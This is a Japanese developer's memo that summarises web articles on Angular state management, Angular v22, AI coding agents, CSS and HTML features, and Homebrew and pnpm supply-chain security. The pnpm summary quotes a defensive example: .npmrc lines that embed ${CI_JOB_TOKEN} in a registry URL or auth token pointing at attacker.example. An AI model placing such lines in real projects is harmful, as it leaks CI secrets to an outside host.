  • Server cache：API 由来の一覧 → toSignal(http.get(...)) または複雑なら NgRx Entity
  • Shared feature state：選択行、bulk edit draft → feature service の Signal
  • App-wide workflow：audit log、time-travel、DevTools が必要な multi-step state → NgRx
• /campaigns 機能を 6 通りで比較し、Pure Signals は 0 KB / 70 LOC、NgRx SignalStore は約 6 KB / 75 LOC、Akita は約 10 KB / 100 LOC、NGXS は約 14 KB / 140 LOC、NgRx classic は約 25 KB / 210 LOC としています。
• 意外なポイントとして、re-render 粒度の改善は「NgRx か Signals か」ではなく、Signals に寄せること自体で得られる、と述べています。NgRx classic でも store.selectSignal() を使うと Pure Signals や SignalStore と同等の re-render 数になるため、既存 NgRx classic を全面移行する必要はなく selector 側から変えればよい、という見方です。
• Pure Signals は 2026 年の default とされ、action / reducer / selector / effect / entity adapter なしで 70 行程度の shared state service が書ける例を示しています。
• 一方、queue、retry、audit log、DevTools、time-travel が必要な workflow では NgRx がまだ有効で、特に新規 NgRx code は SignalStore が向いているとしています。
• 判断ツリーとしては、component local なら Signal、server data なら toSignal(http.get(...)) か複雑なら NgRx Entity、feature 内共有なら simple は feature service の Signal、complex workflow は ComponentStore、cross-feature かつ audit / DevTools / time-travel が必要なら NgRx SignalStore / classic、という整理です。
• 最終ルールはかなり明快で、Signals for state. RxJS for streams. NgRx SignalStore when the state is shared, workflow-heavy, and benefits from DevTools / time-travel. です。
• 実務的には、Angular アプリで「全部 NgRx」「全部 SignalStore」「全部 Signals」と寄せすぎないための判断材料になります。特に既存 NgRx classic 資産がある場合、全面移行より selectSignal() から始める、という示唆は現実的です。

dev.to

• Angular における Signals と RxJS の役割分担を、かなり短く鋭く整理した記事です。
• 筆者の主張は、Signals は RxJS を置き換えたのではなく、RxJS が苦手だった半分、つまり component state や template consumption の領域を引き受けた、というものです。

• 判断基準は「それは value か occurrence か」です。

  • value：現在値を読む意味があるもの。ログインユーザー、選択タブ、filter text、cart など → Signal
  • occurrence：起きる出来事。keystroke、WebSocket frame、retry with backoff、前の request を cancel すべき request など → RxJS stream

• Signals は、同期的な read、computed() による派生、template との相性が良い。一方、click の「現在値」のようなものは意味がなく、debounceTime、switchMap、retry のような時間・順序・キャンセルの問題は RxJS が得意、という整理です。

• interop として、toSignal() は stream を state に変換します。即時 subscribe され、injection context 内で cleanup され、初期値として initialValue を渡すか、undefined を許容するか、BehaviorSubject などには requireSync を使う、という注意点が挙げられています。
• 逆方向の toObservable() は、signal を stream に変換します。記事では typeahead の例として、query = signal('') を toObservable(this.query).pipe(debounceTime(300), distinctUntilChanged(), switchMap(...)) に流し、結果を toSignal(..., { initialValue: [] }) で state に戻しています。
• code review 時の smell として、effect() の中に setTimeout、manual cancellation flag、「新しい実行が始まったら古い実行を無視する」ような処理があるなら、それは Signal の格好をした stream であり RxJS に戻すべき、としています。
• 逆に、BehaviorSubject、scan、shareReplay を駆使して「現在の一覧と loading flag」を作っているだけなら、それは stream の格好をした state であり Signal / resource() の方が向いている、という指摘です。
• 結論は、RxJS は死んでいないが小さくなり、より適切な場所に残る、というものです。component state や template consumption からは退き、時間とイベントの調整が必要な場所で使う技術になった、という読み方ができます。
• @gurezo/web-serial-rxjs 的にはかなり相性のよい整理です。Web Serial の受信・接続・切断・retry・stream 処理は RxJS、画面上の選択状態や表示用 derived state は Signals、という分担が自然です。

AI

www.builder.io

• DX（Developer Experience）に続く概念として、AX（Agent Experience） を提案する記事です。AI エージェントに「プロンプトを渡す」だけでは不十分で、実際のコードベースで安全に作業できる環境・文脈・検証ループを整える必要がある、という主張です。
• AX は、モデルと実コードベースの間にある層として定義されています。具体的には、context、tools、permissions、tests、review loops を整備し、エージェントが速く・安全に・決定論的にフィードバックを得られる状態を指します。
• 記事では、AI エージェントは人間の新人開発者と同じように「オンボーディング」が必要だと説明しています。ただし、巨大で古い AGENTS.md / rules / skills を食わせるのではなく、最小限で透明性があり、テスト済みの context を渡すべきだ、という考えです。
• 「実行環境そのものがプロンプトの一部」という視点も重要です。依存関係、scripts、環境変数、seed data、browser access などが揃っていないと、エージェントが compile / run / test できず、出力の信頼性が落ちるとしています。
• レビュー前に、エージェント自身が evidence を出すべきだとも述べています。テスト結果、スクリーンショット、ブラウザ操作結果、ログ、アクセシビリティ確認などを提示させ、人間のレビュー時間を浪費しない設計が AX です。
• 安全面では、sandbox、scoped credentials、file / network 制限、production / development の分離、approval gate、人間の関与などを決定論的に組み込むべきだとしています。
• モデル選択についても、すべてを高価な reasoning model に投げるのではなく、低リスクな作業は安いモデル、高難度・高リスクな作業は強いモデルに振り分ける governance が必要だと説明しています。
• 実務的には、Angular / Nx monorepo のような構成ではかなり刺さる内容です。AGENTS.md を巨大化させるより、「起動方法」「テスト方法」「触ってよい範囲」「レビュー時に出す証跡」を明確にする方が、AI agent には効きそうです。

dev.to

• WebMCP を、ブラウザ上の Web ページが AI エージェントに対して「このページで何ができるか」「どう操作すればよいか」を構造化して伝える仕組みとして紹介する記事です。
• 問題意識は、現在の AI エージェントが人間向けに作られた UI を見て、ボタンや入力欄を推測しながら操作している点です。そのため、誤クリックや試行錯誤が起きやすい。WebMCP は、ページ側から操作方法を明示することでそれを減らす狙いです。
• WebMCP は通常の API を置き換えるものではなく、ブラウザ内で動く AI agent に対して、UI 操作のためのガイドや tool を公開するもの、と位置づけられています。
• Playwright / Playwright MCP との関係では、WebMCP は E2E テスト寄りの自動操作ではなく、ページ自身が「この操作はこう呼び出せる」と agent に伝える層として説明されています。
• 使い方は大きく 2 種類です。Declarative API は HTML form に annotation を追加して tool 化する方式、Imperative API は JavaScript 関数で form submission、navigation、独自 action などの tool を定義する方式です。
• Imperative API の例では、document.modelContext.registerTool() を使い、name、description、inputSchema、outputSchema、execute を定義して、商品検索のような操作を agent に公開しています。
• Declarative API の例では、toolname、tooldescription、toolparamdescription などの属性を form や input / select に付与し、サポート依頼フォームを agent が理解・入力できるようにしています。
• セキュリティ面では、WebMCP を実装するとページ内テキストやユーザーデータが LLM に渡る可能性があるため、間接 prompt injection に注意が必要だと警告しています。
• 記事の結論は、Backend MCP は大量データ処理や API 統合に向き、WebMCP はユーザーが実際にページを操作している最中の context-aware な支援に向く、という整理です。
• Angular 観点では、フォーム、管理画面、設定画面、Dashboard などに「AI agent が安全に操作できる tool 定義」を足す未来像として読むと面白いです。CHIRIMEN Lite Console のような UI でも、接続・診断・ログ取得などを WebMCP tool として公開する発想は相性が良さそうです。

CSS

ics.media

• Pinterest のフィードのように、高さの違うカードを等幅の列へ隙間なく積む メイソンリーレイアウト を、CSS の新しい display: grid-lanes で実現する方法を紹介する記事です。
• 従来の CSS Grid / Flexbox では、「次のカードを一番低い列に置く」という処理ができず、JS masonry、CSS Columns、Flexbox の列分割などで回避していました。ただし、JS は再計算や SSR との相性、CSS Columns はタブ順序・スクリーンリーダー体験、Flexbox は高さ調整の自前実装が課題でした。
• display: grid-lanes と grid-template-columns: repeat(auto-fill, minmax(...)) を使うと、メディアクエリーなしでレスポンシブなメイソンリーレイアウトを作れます。記事では Safari 26.4 以上でデモ確認する前提になっています。
• 配置アルゴリズムはシンプルで、「次のカードを一番背の低い列へ置く」を最後まで繰り返します。通常の CSS Grid と違い、行を揃えず、各列が独立したレーンとして伸びていく点が特徴です。
• grid-template-columns を指定すると waterfall、つまり縦方向のメイソンリーになり、grid-template-rows を指定すると brick、つまり横方向のメイソンリーになります。横方向は RTL 言語や横スクロールカルーセルとも相性がよいと説明されています。
• CSS Grid と同じように grid-column: 1 / -1、grid-column: span 2、負の index などを使い、特定アイテムだけ全幅・2列分・右寄せなどにできます。通常の Grid 的な指定と masonry 的な配置が組み合わさるのが面白いところです。
• 新しい flow-tolerance プロパティも紹介されています。これは「同じ高さのレーン」とみなす許容幅を指定するもので、値を小さくすると見た目は詰まりますが、DOM 順と視覚順がずれやすくなります。アクセシビリティ的には、タブ順序や読み上げ順とのズレに注意が必要です。
• レイアウト自体は CSS で完結しますが、カード追加・並び替え時の移動は CSS transition だけでは補間できないため、document.startViewTransition()、anime.js、GSAP Flip などで位置変化を補間する例も紹介されています。
• 対応ブラウザは記事時点で Safari 26.4 以上とされており、すぐ全ブラウザ本番投入というより、CSS masonry の今後を追う記事として読むのがよさそうです。

ics.media

• Chrome 134 / Microsoft Edge 134 で可能になった、<select> / <option> の新しいカスタマイズ方法を紹介する記事です。従来は <select> の見た目を大きく変えづらく、独自実装にするとアクセシビリティやキーボード操作対応が課題になりがちでした。
• カスタマイズの基本は、select と ::picker(select) に appearance: base-select; を指定することです。::picker(select) は、クリック時に表示される選択肢リストのポップオーバーを制御する疑似要素として説明されています。
• <select> 内に、従来の <option> / <optgroup> 以外の要素も配置できるようになり、記事では <img> や <hr> を選択肢内に入れる例が紹介されています。これにより、アイコン付き選択肢や区切り線付きのリストが作りやすくなります。
• <select> 内に <button> を 1 つ置くと、選択肢リストを開くためのボタンとして認識されます。さらに <selectedcontent> を置くと、選択済みの <option> が複製され、ボタン側に表示されます。
• 選択肢側には説明文を出すが、閉じたボタン側では説明文を非表示にする、といった調整も CSS でできます。つまり、選択肢リスト内の表示と、選択済み表示を分けて設計できるわけです。
• 注意点として、カスタマイズした選択肢リストは通常のプルダウンよりレイアウトが複雑になり、画面幅・高さによってははみ出す可能性があります。モバイル・デスクトップ両方で使いやすさを確認する必要があります。
• selectedcontentelement 属性を使うと、<select> の外側にある <selectedcontent> に選択済み内容を反映できます。従来なら JavaScript で同期していたような表示を、HTML 側だけで表現できる可能性があります。
• ただし記事公開時点では、selectedcontentelement は Chrome 134 では通常動作せず、Experimental Web Platform features を有効化するか Chrome Canary が必要で、Android では Chrome Beta 135 / Canary 136 でも動作しなかったとされています。
• また、multiple または size 属性がある <select> では、記事で紹介されたようなカスタマイズはできないとされています。
• 実務的には、独自 select コンポーネントを作る前に「ネイティブ <select> のままどこまでデザインできるか」を再検討する材料になります。ただしブラウザ対応差がまだあるので、管理画面や実験 UI から試すのが無難です。

Design

chromewebstore.google.com

• Figma 公式の Chrome 拡張機能ページです。主な機能は、ライブ Web サイトをキャプチャして、Figma 上で編集可能なレイヤーとして取り込む ことです。単なるスクリーンショットではなく、ページや要素を Figma の layer として扱える点が特徴です。
• 本番環境の UI、チームメンバーが公開した modal、既存の live page などを Figma に取り込み、ゼロから再現せずに「実際に動いている UI」を元にデザイン検討できる、という用途が想定されています。
• Google Calendar の予定に Figma / FigJam ファイルを素早く追加する機能もあります。会議参加者が正しいデザインファイルにアクセスしやすくするための workflow 補助です。
• Screen capture は beta 機能で、Pro 以上の plan 向けと説明されています。
• Chrome Web Store 上では、拡張機能カテゴリは Workflow & Planning、ユーザー数は 100,000 users、評価は 4.7 / 5、更新日は 2026年6月12日と表示されています。
• Privacy 欄では、この拡張が扱うデータとして Website content が明示されています。ライブページを取り込む性質上、業務システムや認証済み画面を扱う場合は、社内ルール・機密情報の扱いに注意が必要です。
• 実務的には、既存 Web UI のデザイン棚卸し、実装済み UI のリデザイン、デザインシステム化前の現状把握に便利そうです。特に「実装と Figma がズレている」現場では、現物 UI を起点にできるのが強いです。

www.ui-skills.com

• Design Engineer 向けの UI / UX / accessibility / motion / frontend design skill の curated directory です。AI エージェントや Claude Skills のような文脈で、UI 実装・レビューに使う skill を探すための一覧ページです。
• 掲載されている skill は、Tailwind CSS の design consistency、typography scale、component accessibility、layout anti-pattern のチェックなど、実装寄りの UI 品質改善に向いたものが多いです。
• Accessibility 系では、ARIA labels、keyboard navigation、focus management、color contrast、form errors、WCAG 2.2 audit などを扱う skill が掲載されています。
• Motion / performance 系では、layout thrashing、compositor properties、scroll-linked motion、blur effects、animation jank など、UI アニメーションの品質・性能をレビューする skill が紹介されています。
• UI 生成系では、generic AI aesthetics を避けて、より polished / production-grade な frontend interface を作るための skill が複数掲載されています。
• shadcn/ui、React Doctor、SwiftUI patterns、HTML slides など、特定 stack や用途に寄った skill もあります。
• 実務的には、「AI に UI を作らせると何か安っぽい」「アクセシビリティや motion のレビュー観点が漏れる」という問題に対して、skill 単位で補助線を与えるサイトとして使えます。
• Angular でもそのまま使える観点が多く、特に CHIRIMEN Lite Console / dashboard 系では、アクセシビリティ、フォーム、ダイアログ、focus management、motion performance のレビュー checklist として参考になりそうです。

collectui.com

• UI デザインの inspiration を集めたキュレーションサイトです。ページ上では “Daily User Interface Inspiration” や “hand-picked websites and interfaces” として説明されています。
• Latest Designs、Designers、Categories、Trending といった導線があり、UI パターンやデザイン事例を探すためのギャラリー系サイトです。
• 週次で hand-picked な websites / interfaces を受け取る subscribe 導線もあります。
• Panda Network の一部として、Collect UI、Best Designs On X、Designer Daily Report、Curations Supply、Flat UI Colors、The Stocks などの関連サイト群も案内されています。
• スポンサー向けには、Framer、Adobe、Mobbin などの design tool と並ぶ design network 内で露出できる、という文脈もあります。
• 実務的には、特定の UI 実装方法を学ぶ記事というより、画面構成・余白・カード UI・フォーム・LP・ダッシュボードなどの見た目の参考を探す場所 です。
• 自分で UI を作る前に「似た画面の良い事例」を探す用途に向いています。AI に UI を作らせる前の reference 集めにも使えます。

Develop

pnpm.io

• pnpm が、repository 内の .npmrc や pnpm-workspace.yaml に含まれる環境変数展開を制限した理由を説明する記事です。対象は pnpm v10.34.2 / v11.5.3 以降の変更です。
• 背景は supply chain attack 対策です。以前の pnpm は、clone した repository 内の .npmrc にある ${ENV_VAR} を展開していましたが、悪意ある repository が CI_JOB_TOKEN などの secret を registry URL や auth token に埋め込ませ、外部に送信できる可能性がありました。
• 攻撃例として、.npmrc に registry=https://attacker.example/${CI_JOB_TOKEN}/ や //attacker.example/:_authToken=${CI_JOB_TOKEN} を置くだけで、pnpm install 時に secret が URL や Authorization header として送られる可能性が説明されています。install script や postinstall すら不要、というのが怖いところです。
• 変更後は、repository-controlled な .npmrc / pnpm-workspace.yaml 由来の registry、proxy、URL-scoped key、credential values では環境変数を展開しません。該当設定は無視され、移行方法の warning が出るようになります。
• 一方で、ユーザーの ~/.npmrc、global config、command-line options、environment config など、ユーザーが管理する trusted location では環境変数展開は継続されます。
• 移行方法は、認証 token を repository の .npmrc から出し、user / global config 側に移すことです。記事では pnpm config set "//registry.npmjs.org/:_authToken" "$NPM_TOKEN" のように user/global config に書く方法が示されています。
• GitHub Actions では、actions/setup-node の registry-url と NODE_AUTH_TOKEN を使う構成は、user-level .npmrc に書かれるため引き続き動作すると説明されています。
• 実務的には、OSS / monorepo / CI で pnpm を使っている場合、repository に committed .npmrc があるなら要確認です。NPM_TOKEN や private registry token を repo 側 .npmrc に書く設計は避け、CI secret → user config に流す形が安全です。

brew.sh

• Homebrew 6.0.0 のリリース告知です。全体として、UX 改善、brew bundle 強化、性能改善、macOS / Linux / WSL 対応、security / supply chain 対策、cask 周りの改善が大きなテーマです。
• Better defaults として、brew install / brew upgrade で依存関係の summary と確認 prompt を出す ask mode が developer 向け default になっています。破壊的・大きめの変更を実行前に確認しやすくする方向です。
• brew bundle は、parallel formula installation、npm / krew extension、cleanup 対応、Windows の winget support などが追加・改善されています。複数環境のセットアップや dotfiles 管理で使っている人には影響が大きいです。
• Performance 面では、startup の改善、brew leaves 約 30% 高速化、upgrade 時の bottle tab fetching 並列化、起動時の Ruby library load 削減などが挙げられています。
• macOS 27 Golden Gate の初期サポートが入りました。また、macOS 27 が Intel support を落とすことに伴い、2026年9月に macOS Intel x86_64 は Tier 3、2027年9月には unsupported になる予定とされています。
• Security advisories として、POST download strategy の redirect protection bypass、macOS .pkg postinstall の Git hooks 経由 root code execution、/var/tmp plist を信頼して ownership を割り当てる問題の 3 件が公開されています。
• その他の security 改善として、Ruby 評価時の sensitive environment variables filtering、HOMEBREW_* environment secrets の扱い改善、cask / formula の forbidden checks before download、cask checksum を要求する option などが追加されています。
• Casks では pin、Linux AppImage support、Linux freedesktop trash、upgrade download queue の共有、upgrade summary、auto_updates cask の挙動改善などが入っています。
• 新コマンドとして、brew exec が追加されています。npx のように formulae environment を使ってコマンド実行できるものとして説明されています。
• brew vulns という tap / subcommand も追加され、インストール済み package の既知脆弱性をチェックできるようになっています。
• Homebrew は supply-side security への対策として、macOS sandboxing、human review、environment filtering に加え、Linux sandboxing、sensitive location の read sandboxing、riskier ecosystems への cooldown などを進めていると説明しています。
• 実務的には、開発マシンの bootstrap に Homebrew を使っている場合、brew bundle、Intel Mac の今後、cask の checksum / Gatekeeper、brew vulns あたりを確認しておくとよさそうです。

docs.brew.sh

• Homebrew の supply chain security に関する公式ドキュメントです。Homebrew がオープンソース ecosystem 全体からソフトウェアをインストールする性質上、repository、maintainer、build system、download server などを含めた supply chain security が中核的な関心事だと説明しています。([Homebrew Documentation][6])
• npm / PyPI など他 ecosystem で起きた攻撃パターンとして、maintainer account takeover、self-propagating worm、typosquatting / slopsquatting、install-time code、instant unreviewed publishing が挙げられています。([Homebrew Documentation][6])
• Homebrew の違いとして、すべての変更に human review が入ること、package owner ではなく Homebrew maintainer が変更を管理すること、third-party repository をデフォルトでは信頼しないことが強調されています。([Homebrew Documentation][6])
• Third-party tap は単なる metadata ではなく、ユーザー権限で Ruby を実行し得る executable code として扱われます。そのため Homebrew は非公式 tap を自動的に信頼・推奨せず、brew trust / brew untrust などで必要な範囲だけ明示的に信頼する方向に進めています。([Homebrew Documentation][6])
• Formula の download は sha256 checksum に pin され、checksum 変更も review 対象です。upstream の tarball が後から差し替えられた場合、checksum mismatch で install が失敗し、silent compromise を防ぐ設計です。([Homebrew Documentation][6])
• Bottle の install は Homebrew CI で build 済みの reviewed files を展開する形で、source build や post_install は sandbox 内で動作します。macOS だけでなく Linux でも sandboxing を拡張し、credentials や SSH keys など sensitive location の読み取りも制限します。([Homebrew Documentation][6])
• Build 環境では environment filtering を行い、shell environment 全体を渡さず、secret や予期しない設定が build / test code に露出しないようにしています。([Homebrew Documentation][6])
• Casks は vendor が配布する prebuilt application を直接 install するため、formulae より trust model が弱いと明記されています。sha256 を検証できる場合は安全性が上がりますが、sha256 :no_check や auto_updates true の場合は、最終的に vendor が実行される bytes を管理します。([Homebrew Documentation][6])
• npm / PyPI など fast-moving supply-side attack の実績がある ecosystem には download cooldown を適用し、新規 upstream version を即座に採用せず、悪意ある release が検出される時間を確保する方針です。([Homebrew Documentation][6])
• ただし、全 package に blanket cooldown をかけるのではなく、riskier ecosystems に限定しています。OpenSSL のような zero-day 修正は速く届ける必要があり、遅延と安全性のバランスを取るためです。([Homebrew Documentation][6])
• Trust model comparison では、Homebrew は human review、pinned sha256、Homebrew-built bottles、sandboxed postinstall、2FA 必須 maintainer team などにより、npm / PyPI の即時公開・install script 実行型の model と違うことを整理しています。([Homebrew Documentation][6])
• 実務的には、Homebrew を安全に使うには「非公式 tap を雑に入れない」「cask は vendor trust 前提と理解する」「brew update / brew upgrade で security 改善を追う」「CI / dotfiles では trust 範囲を明示する」あたりがポイントになります。

2026.06.05 覚書 / 2026.06.05 memo's

2026.06.05 覚書 / 2026.06.05 memo's

自分が参考になったブログの紹介します。

Angular

blog.angular.dev

• Angular v22 の公式リリース告知記事です。今回の大きなテーマは、v21 で導入・拡張された機能群を production-ready / stable に引き上げることです。
• 安定化された主要機能は、Signal Forms、Angular Aria、Asynchronous Reactivity APIs です。Signal Forms は、Reactive Forms、型安全な forms、Template-driven Forms 的な書きやすさ、Signals のリアクティビティを組み合わせた新しい forms API として説明されています。
• resource と httpResource も本番利用可能になりました。Signals の同期的な使いやすさを保ちながら、HTTP 取得や非同期データ取得を宣言的に扱える API として位置づけられています。
• Angular Aria はアクセシブルな UI パターンを提供する仕組みで、v22 では本番投入できる状態になったと説明されています。Signal Forms 対応や test harness の提供も含まれます。
• AI / Agentic 開発向けの強化も大きな柱です。Angular MCP に devserver.start / devserver.stop / devserver.wait_for_build などが入り、AI エージェントが開発サーバーを起動・停止・ビルド確認できるようになります。
• Angular Agent Skills も紹介されています。angular-developer は Signal Forms や Angular Aria など最新 Angular のベストプラクティスを AI に渡すための skill、angular-new-app は Angular 初学者向けにエージェントが環境構築を案内する skill です。
• 実験的に WebMCP もサポートされます。Web アプリ側が構造化された tool を公開し、AI アシスタントが DOM 操作に頼らずアプリとやり取りできる方向性です。Signal Forms から tool を自動生成する構想も触れられています。
• Router では、ブラウザの Navigation API との統合が実験的に追加されます。RouterLink だけでなく通常の <a> による遷移も Router が intercept でき、スクロール復元や a11y 向けアナウンス、グローバル loading 表示などが扱いやすくなると説明されています。
• 新 API として @Service() と injectAsync() が紹介されています。@Service() は多くのケースで @Injectable({ providedIn: 'root' }) の代替になり、injectAsync() は必要になるまで service を遅延読み込みする非同期 DI / code splitting のための API です。
• Template 周りでは、要素属性レベルのコメント、Host Directive の重複排除、spread / rest 構文、@switch の grouped cases と exhaustive check、template 内 arrow function が追加・改善されています。
• Change Detection では、新規アプリで OnPush がデフォルト になります。また従来の ChangeDetectionStrategy.Default は ChangeDetectionStrategy.Eager に改名され、挙動をより明確に表す名前になります。
• 今後の予告として、template 内 error boundary である @boundary が Q3 2026 に developer preview として提供予定です。コンポーネントの一部でエラーが起きてもページ全体を壊さず fallback UI を出せる仕組みです。
• 注意点として、v22 では Webpack support、@angular-devkit/build-angular builders、@ngtools/webpack などが deprecated になっています。今後は application builder と TSGo support に注力する方針です。
• 実務的には、Angular v22 は「Signals / zoneless / AI agent / modern template syntax」へ一気に寄せたリリースです。既存 Angular アプリでは、特に Webpack builder 依存、Default change detection 前提、Reactive Forms 前提、Router reuse / route providers の cleanup 周りを確認した方がよさそうです。

www.youtube.com

www.youtube.com

AI

dev.to

• AI coding tool を使うときの token / context / cost の考え方を、開発者向けに説明する記事です。
• token はモデルが読み書きする小さなテキスト単位で、ユーザーの入力、AI の返答、読み込ませたファイル、terminal logs、diff、過去の会話履歴などがすべて token として扱われます。
• context window は、モデルが一度に見られる情報量のことです。32K、128K、200K、1M tokens など大きな context を持つモデルもありますが、大きければ常に良いわけではなく、コスト増・応答遅延・重要情報が埋もれるリスクがあります。
• 記事の重要な主張は、大きい context は無料ではない という点です。大量の logs、巨大な stack trace、重複した file content、長すぎる project instruction、古い失敗履歴などは token を浪費し、AI の判断も鈍らせます。
• input tokens と output tokens は価格が違い、多くのモデルでは output tokens の方が高いと説明されています。coding agent は説明、tool call、patch、reasoning などで出力が長くなりやすいため、output 側のコストが膨らみやすい、という指摘です。
• よい context の与え方として、「900 行の notes / logs / failed attempts をまとめて投げる」のではなく、「失敗している test 名、error message、関連しそうな file path、変更のきっかけ」を絞って渡す例が紹介されています。
• AGENTS.md や CLAUDE.md のような project instruction は有用ですが、毎回すべてを読み込ませる巨大ドキュメントにするのではなく、短い指示と必要な詳細 docs への導線にするべき、という提案です。
• token / cost を減らす習慣として、正確な error だけを送る、関連 file path を入れる、まず inspect させてから変更させる、同じファイルを繰り返し貼らない、失敗履歴が溜まったら新 session にする、短い回答を求める、などが挙げられています。
• Claude Code、Codex、OpenCode それぞれについて、project instruction を短くし、深い docs は必要なときだけ読ませる設計が推奨されています。Codex では project_doc_max_bytes のような設定にも触れています。
• 筆者は token-optimizer という npm tool も紹介しています。terminal output、logs、diff、command result から重要部分だけを残して AI coding agent に渡すための補助 tool です。
• 実務的には、Nx monorepo や Angular workspace のように context が膨らみやすい環境で特に参考になります。AGENTS.md には「見るべき場所」「実行コマンド」「規約へのリンク」だけを置き、詳細設計や過去ログは必要時に読ませる構成がよさそうです。

zenn.dev

• Google Chrome チームが公開した Modern Web Guidance を紹介する記事です。AI エージェントが古い CSS / JavaScript / HTML の書き方をしがちな問題に対して、最新 Web Platform の知識を skill として注入する、という内容です。
• 公式評価では、Claude Opus 4.7 に「画像をもっと速く読み込ませて」のような曖昧な開発依頼を 75 個出し、Modern Web Guidance なしでは正答率 52%、ありでは 85% まで上がったと紹介されています。
• ガイドには CSS Layout、Performance、Accessibility、Security などのモダン Web 実装パターンが含まれます。たとえば CSS Layout では Flexbox / Grid / Subgrid の使い分け、flex-basis と width の注意点、auto-fit / auto-fill の違いなどが扱われています。
• Performance の例として、LCP になる画像には fetchpriority="high"、重要でない画像には fetchpriority="low" を付けるといった、実装レベルの guidance が紹介されています。
• 導入は npx modern-web-guidance@latest install で、Amp、Antigravity、Codex、Cursor、Gemini CLI、GitHub Copilot、Claude Code など利用エージェントに合わせて SKILL.md を配置するウィザードが起動します。
• ブラウザ対応状況は Baseline と連動しており、機能が主要ブラウザで安全に使える状態かを判断しながら、AI が実装案を調整できると説明されています。
• 仕組みとしては、AI エージェントからの依頼に対して search と retrieve の 2 段階で関連ガイドを取得します。検索はオフラインの TensorFlow.js で動き、ネットワーク通信や API key が不要とされています。
• 筆者は自身の portfolio site を題材に、CSS / JavaScript / HTML / accessibility / performance / security の観点で Modern Web Guidance に棚卸しさせ、採用済み・追加候補・見送りに分けた audit report を作っています。
• 実務的には、AI coding agent に「古い React / CSS / JS の手癖」で書かせないための補助資料として有用です。Angular でも、template / CSS / accessibility / performance の実装レビューに組み込む価値がありそうです。
• 特に CHIRIMEN 系の dashboard / console のような Web UI では、dialog、popover、fetchpriority、CSS layout、accessibility の改善候補を AI に洗い出させる用途と相性がよさそうです。

HTML

ics.media

• <dialog> 要素を使って、ハンバーガーメニューをより安全・簡潔に実装する方法を紹介する記事です。
• この記事の主張は、フルスクリーンメニューやドロワー型メニューは、単なる <div> ではなく モーダル UI として <dialog> で作るとよい というものです。([ICS MEDIA][4])
• <dialog> の利点として、showModal() による top layer 表示で z-index 調整が不要、メニュー表示中に Tab キーで背面へフォーカスが移動しない、Escape キーで閉じられる、::backdrop で背景レイヤーを指定できる、スクリーンリーダーに dialog として伝わる、短いコードで実装できる、などが挙げられています。([ICS MEDIA][4])
• 基本形では、開くボタン、<dialog id="menu">、閉じるボタン、<nav> を用意し、JavaScript では showModal() と close() を呼び出すだけです。([ICS MEDIA][4])
• CSS では、<dialog> の標準スタイル上書き、::backdrop、背景スクロール停止がポイントです。背景スクロール停止には body:has(dialog[open]) { overflow: hidden; } のような指定が紹介されています。([ICS MEDIA][4])
• フルスクリーン型だけでなく、画面端から出る ドロワー型 も <dialog> で実装できます。外側は同じ <dialog> で、中に右から出る panel を置く構成です。([ICS MEDIA][4])
• デメリットとして、よくある「三本線ボタンが連続的に × ボタンへ変形する」ような animation とは相性が悪いと説明されています。開くボタンと閉じるボタンが別レイヤーになるため、1 つのボタンを状態に応じて変形させる設計が難しいためです。([ICS MEDIA][4])
• 将来的には、button の command / commandfor 属性と、dialog の closedby="any" により、JavaScript なしで dialog を開閉できるようになる可能性にも触れています。ただし 2026年5月時点では iOS 18 Safari が未対応なので、当面は JavaScript 制御が無難とされています。([ICS MEDIA][4])
• <dialog> 自体は Chrome 37、Edge 79、Safari 15.4、Firefox 98 以降で利用でき、現行ブラウザでは利用可能と見てよいとされています。表示 motion に使う @starting-style や transition-behavior は、それぞれ比較的新しいブラウザ対応が必要です。([ICS MEDIA][4])
• 小さな簡易メニューで、背面を操作できてもよい場合は <dialog> ではなく popover 属性を使う選択肢も紹介されています。popover は非モーダルなので、ヘッダー右上の小さな一覧やカテゴリ一覧などに向いています。([ICS MEDIA][4])
• 実務的には、ハンバーガーメニューを <div> + 独自 JS で実装している場合、まず Tab キーで背面へフォーカスが抜けないかを確認し、抜けるなら <dialog> への置き換えを検討する価値があります。

2026.05.29 覚書 / 2026.05.29 memo's

2026.05.29 覚書 / 2026.05.29 memo's

自分が参考になったブログの紹介します。

Angular

dev.to

• Angular の新しい control flow である @switch の改善点を紹介する記事です。
• 主なテーマは、@switch で union 型や enum の取りこぼしをコンパイル時に検出できる ようになった点です。
• 例では、TicketStatus という union 型に new / in-progress / resolved / closed があり、テンプレート側で @switch を使ってステータス表示を切り替えています。
• 従来のように @default なしで書くと、後から escalated のような新しい値を union 型に追加しても、テンプレート側が未対応のまま静かに UI が欠ける危険があります。
• 改善策として、@default never; を追加することで、「ここに来る値は存在しないはず」と Angular に伝え、未処理の case がある場合にエラーとして検出させます。
• もう 1 つの改善点として、複数の @case をまとめて同じテンプレートブロックに対応させる grouped cases が紹介されています。
• たとえば new と in-progress は同じ “Active” バッジ、resolved と closed は同じ “Done” バッジを表示する、といった重複を減らせます。
• まとめると、この記事は「Angular テンプレートでも TypeScript の型変更に追従しやすくし、UI 状態の抜け漏れを防ぐ」ための @switch 活用記事です。
• 実務的には、チケット状態、注文状態、決済状態、デプロイ状態、招待状態、feature flag など、有限の状態を UI に反映する場面でかなり有用です。

dev.to

• Angular で .env ファイルから環境変数を読み込み、複数環境向けの environment.ts に反映する方法を説明する記事です。
• Angular 標準の src/environments 配下の environment files はビルド成果物に含まれるため、秘密情報をそのまま置くべきではない、という問題意識から始まっています。
• 実装方針は、.env.development、.env.staging、.env.production のように環境ごとの .env を用意し、Node.js スクリプトで読み込んで Angular の environment file を更新する流れです。
• dotenv を使って .env を読み込み、CLI 引数で development / staging / production を受け取り、対象の .env.[environment] を選択します。
• その後、fs.readFileSync で Angular の src/environments/environment.[environment].ts を読み込み、production、apiBaseURL、greeting などの値を置換・生成する実装になっています。
• この記事の方式は ビルド前に値を埋め込む アプローチです。そのため、ローカル開発、自前 hosting、Docker image 作成時には向いています。
• 一方で、ビルド後に AWS / GitHub / hosting UI などから環境変数を差し替えたい用途には向かない、と明記されています。
• 注意点として、Angular のフロントエンドに埋め込まれた値は最終的にブラウザから見えるため、API secret や private key のような本当の秘密情報を入れてはいけません。
• 実務的には、API_BASE_URL、feature flag、ビルド環境名などを環境ごとに切り替える用途には使えますが、「秘密情報を隠す」方法として読むと危ないです。

qiita.com

• Angular の EOL、セキュリティパッチ、AI コーディング支援の関係を扱った記事です。
• 主張はかなり明確で、Angular v21 の MCP サーバー、Web Codegen Scorer、AI 向けベストプラクティスプロンプトは AI 生成コードを安全に近づけるが、それは最新バージョンを使っているチームに限られる、というものです。
